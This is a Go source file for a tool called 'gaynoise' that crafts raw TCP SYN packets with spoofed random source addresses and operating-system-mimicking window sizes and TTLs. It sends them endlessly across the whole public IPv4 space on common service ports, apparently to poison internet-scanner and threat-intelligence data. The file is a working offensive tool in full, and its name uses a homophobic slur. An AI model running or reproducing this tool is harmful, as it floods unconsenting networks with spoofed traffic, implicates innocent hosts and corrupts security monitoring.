351 lines
7.1 KiB
Go
351 lines
7.1 KiB
Go
package main
|
|
|
|
import (
|
|
"bufio"
|
|
"encoding/binary"
|
|
"flag"
|
|
"fmt"
|
|
"math/rand"
|
|
"net"
|
|
"os"
|
|
"os/signal"
|
|
"strings"
|
|
"syscall"
|
|
"time"
|
|
|
|
"github.com/google/gopacket"
|
|
"github.com/google/gopacket/layers"
|
|
)
|
|
|
|
var (
|
|
// flags
|
|
cidr = flag.String("r", "", "")
|
|
targlist = flag.String("l", "", "")
|
|
duration = flag.Int("t", -1, "")
|
|
workers = flag.Int("c", 10, "")
|
|
delay = flag.Int("u", 0, "")
|
|
|
|
// colors
|
|
colorReset = "\033[0m"
|
|
colorRed = "\033[31m"
|
|
colorPurple = "\033[35m"
|
|
colorCyan = "\033[36m"
|
|
skull = "\u2620"
|
|
|
|
// target ports
|
|
ports = []int{21, 22, 23, 25, 53, 80, 81, 123, 389, 443, 445, 999, 1080, 1433, 2323, 5555, 5900, 7547, 8080, 8081, 8888}
|
|
)
|
|
|
|
func winsize(system int) uint16 {
|
|
switch system {
|
|
case 1:
|
|
return 29200 // Linux
|
|
case 2:
|
|
return 5840 // Linux
|
|
case 3:
|
|
return 5720 // Linux
|
|
case 4:
|
|
return 10220 // Linux
|
|
case 5:
|
|
return 14600 // Linux
|
|
case 6:
|
|
return 8192 // Windows
|
|
case 7:
|
|
return 65535 // Windows
|
|
case 8:
|
|
return 65535 // MacOS, FreeBSD
|
|
case 9:
|
|
return 16384 // OpenBSD
|
|
case 10:
|
|
return 4128 // Cisco IOS
|
|
case 11:
|
|
return 32850 // Solaris
|
|
case 12:
|
|
return 49640 // Solaris
|
|
default:
|
|
return 8192
|
|
}
|
|
}
|
|
|
|
func ittl(system int) uint8 {
|
|
switch system {
|
|
case 6:
|
|
return 128 // Windows
|
|
case 7:
|
|
return 128 // Windows
|
|
case 10:
|
|
return 255 // Cisco IOS
|
|
default:
|
|
return 64 // Linux, MacOS, FreeBSD, OpenBSD, Solaris
|
|
}
|
|
}
|
|
|
|
func assemble(daddr, saddr string, dport, sport, system int) ([]byte, error) {
|
|
ip := &layers.IPv4{
|
|
SrcIP: net.ParseIP(saddr).To4(),
|
|
DstIP: net.ParseIP(daddr).To4(),
|
|
Version: 4,
|
|
TTL: ittl(system),
|
|
Protocol: layers.IPProtocolTCP,
|
|
}
|
|
|
|
tcp := &layers.TCP{
|
|
SrcPort: layers.TCPPort(sport),
|
|
DstPort: layers.TCPPort(dport),
|
|
Window: winsize(system),
|
|
Seq: rand.Uint32(),
|
|
SYN: true,
|
|
}
|
|
|
|
opts := gopacket.SerializeOptions{
|
|
FixLengths: true,
|
|
ComputeChecksums: true,
|
|
}
|
|
|
|
payload := []byte{}
|
|
pl := gopacket.Payload(payload)
|
|
|
|
buf := gopacket.NewSerializeBuffer()
|
|
|
|
if err := tcp.SetNetworkLayerForChecksum(ip); err != nil {
|
|
return nil, err
|
|
}
|
|
|
|
if err := gopacket.SerializeLayers(buf, opts, ip, tcp, pl); err != nil {
|
|
return nil, err
|
|
}
|
|
|
|
packet := buf.Bytes()
|
|
return packet, nil
|
|
}
|
|
|
|
func rfc1918(ip net.IP) bool {
|
|
_, net0, _ := net.ParseCIDR("0.0.0.0/8")
|
|
_, net10, _ := net.ParseCIDR("10.0.0.0/8")
|
|
_, net192, _ := net.ParseCIDR("192.168.0.0/16")
|
|
_, net172, _ := net.ParseCIDR("172.16.0.0/12")
|
|
|
|
if net0.Contains(ip) || net10.Contains(ip) || net192.Contains(ip) || net172.Contains(ip) {
|
|
return true
|
|
}
|
|
return false
|
|
}
|
|
|
|
func sendpacket(fd int, packet []byte, addr string) error {
|
|
ip := net.ParseIP(addr)
|
|
dest := format4(ip)
|
|
if err := syscall.Sendto(fd, packet, 0, &dest); err != nil {
|
|
return err
|
|
}
|
|
|
|
return nil
|
|
}
|
|
|
|
func rawsocket() (int, error) {
|
|
handler, err := syscall.Socket(syscall.AF_INET, syscall.SOCK_RAW, syscall.IPPROTO_RAW)
|
|
if err != nil {
|
|
return -1, err
|
|
}
|
|
return handler, nil
|
|
}
|
|
|
|
func format4(ip net.IP) (addr syscall.SockaddrInet4) {
|
|
addr = syscall.SockaddrInet4{Port: 0}
|
|
copy(addr.Addr[:], ip.To4()[0:4])
|
|
return addr
|
|
}
|
|
|
|
func runCIDR(cidr string, out chan string) error {
|
|
ip, ipnet, err := net.ParseCIDR(cidr)
|
|
if err != nil {
|
|
return err
|
|
}
|
|
|
|
for target := ip.Mask(ipnet.Mask); ipnet.Contains(target); inc(target) {
|
|
if rfc1918(target) {
|
|
continue
|
|
}
|
|
addr, _ := net.ResolveIPAddr("ip", target.String())
|
|
out <- addr.String()
|
|
}
|
|
return nil
|
|
}
|
|
|
|
func inc(ip net.IP) {
|
|
for j := len(ip) - 1; j >= 0; j-- {
|
|
ip[j]++
|
|
if ip[j] > 0 {
|
|
break
|
|
}
|
|
}
|
|
}
|
|
|
|
func randIP() string {
|
|
for {
|
|
buf := make([]byte, 4)
|
|
ip := rand.Uint32()
|
|
binary.LittleEndian.PutUint32(buf, ip)
|
|
nip := net.IP(buf)
|
|
if !rfc1918(nip) {
|
|
return nip.String()
|
|
}
|
|
}
|
|
}
|
|
|
|
func thread(addrs chan string) {
|
|
sock, err := rawsocket()
|
|
if err != nil {
|
|
fatal(err.Error())
|
|
}
|
|
defer syscall.Close(sock)
|
|
for addr := range addrs {
|
|
rip := randIP()
|
|
dport := ports[rand.Intn(len(ports))]
|
|
sport := 1024 + rand.Intn(64511)
|
|
syst := 1 + rand.Intn(11)
|
|
|
|
pkt, _ := assemble(addr, rip, dport, sport, syst)
|
|
|
|
fmt.Printf("[%s%s%s] %s%s:%d%s -> %s%s%s:%s%d%s\n", colorRed, sysident(syst), colorReset, colorCyan, rip, sport, colorReset, colorPurple, addr, colorReset, colorCyan, dport, colorReset)
|
|
|
|
sendpacket(sock, pkt, addr)
|
|
time.Sleep(time.Microsecond * time.Duration(*delay))
|
|
}
|
|
}
|
|
|
|
func sysident(id int) string {
|
|
if id >= 1 && id <= 5 {
|
|
return "Linux"
|
|
} else if id >= 6 && id <= 7 {
|
|
return "Windows"
|
|
} else if id == 8 {
|
|
return "MacOS/FreeBSD"
|
|
} else if id == 9 {
|
|
return "OpenBSD"
|
|
} else if id == 10 {
|
|
return "Cisco IOS"
|
|
} else if id >= 11 && id <= 12 {
|
|
return "Solaris"
|
|
} else {
|
|
return "Windows"
|
|
}
|
|
}
|
|
|
|
func banner() {
|
|
fmt.Printf(`
|
|
%sgot some intelligence for u
|
|
right here%s%s
|
|
_ _
|
|
|_| |_|
|
|
| | /^^^\ | |
|
|
_| |_ (| "o" |) _| |_
|
|
_| | | | _ (_---_) _ | | | |_
|
|
| | | | |' | _| |_ | '| | | | |
|
|
| | / \ | |
|
|
\ / / /(. .)\ \ \ /
|
|
\ / / / | . | \ \ \ /
|
|
\ \/ / ||Y|| \ \/ /
|
|
\__/ || || \__/
|
|
() ()
|
|
|| ||
|
|
ooO Ooo
|
|
|
|
%s%sg a y n o i s e%s
|
|
|
|
sincerely,
|
|
~ delorean
|
|
|
|
`, colorRed, colorReset, colorCyan, colorReset, colorPurple, colorReset)
|
|
}
|
|
|
|
func usage() {
|
|
fmt.Fprintf(os.Stderr, `gaynoise:
|
|
(%s-r%s) - cidr range [%s0.0.0.0/0%s]
|
|
(%s-l%s) - target cidr list
|
|
(%s-c%s) - concurrent threads [%s100%s]
|
|
(%s-t%s) - duration [%s-1%s]
|
|
(%s-p%s) - usec delay between sends [%s0%s]
|
|
`, colorCyan, colorReset, colorPurple, colorReset, colorCyan, colorReset, colorCyan, colorReset, colorPurple, colorReset, colorCyan, colorReset, colorPurple, colorReset, colorCyan, colorReset, colorPurple, colorReset)
|
|
}
|
|
|
|
func fatal(e string) {
|
|
fmt.Printf("%s %s error:%s %s\n", colorRed, skull, colorReset, e)
|
|
os.Exit(-1)
|
|
}
|
|
|
|
func alarm(secs int) {
|
|
time.Sleep(time.Second * time.Duration(secs))
|
|
os.Exit(0)
|
|
}
|
|
|
|
func parsetargets(list string) []string {
|
|
fd, err := os.Open(list)
|
|
if err != nil {
|
|
fatal(err.Error())
|
|
}
|
|
defer fd.Close()
|
|
|
|
var targets []string
|
|
|
|
fs := bufio.NewScanner(fd)
|
|
for fs.Scan() {
|
|
line := strings.TrimSpace(fs.Text())
|
|
if len(line) > 0 {
|
|
if _, _, err := net.ParseCIDR(line); err == nil {
|
|
targets = append(targets, line)
|
|
}
|
|
}
|
|
}
|
|
|
|
if len(targets) == 0 {
|
|
fatal("no valid ranges parsed from file")
|
|
}
|
|
return targets
|
|
}
|
|
|
|
func main() {
|
|
flag.Usage = usage
|
|
flag.Parse()
|
|
|
|
var targets []string
|
|
if *targlist != "" {
|
|
targets = parsetargets(*targlist)
|
|
} else if *cidr == "" {
|
|
targets = []string{"0.0.0.0/0"}
|
|
} else {
|
|
targets = []string{*cidr}
|
|
}
|
|
|
|
// signals
|
|
sigs := make(chan os.Signal, 1)
|
|
signal.Notify(sigs, syscall.SIGINT, syscall.SIGTERM)
|
|
go func() {
|
|
<-sigs
|
|
fmt.Printf("\n%s%s Stopped%s\n", colorRed, skull, colorReset)
|
|
os.Exit(1)
|
|
}()
|
|
|
|
// threads
|
|
addrs := make(chan string)
|
|
go func() {
|
|
for x := 0; x < *workers; x++ {
|
|
thread(addrs)
|
|
}
|
|
}()
|
|
|
|
// start alarm
|
|
if *duration > 0 {
|
|
go alarm(*duration)
|
|
}
|
|
|
|
banner()
|
|
|
|
for {
|
|
for _, target := range targets {
|
|
if err := runCIDR(target, addrs); err != nil {
|
|
fatal(err.Error())
|
|
}
|
|
}
|
|
}
|
|
}
|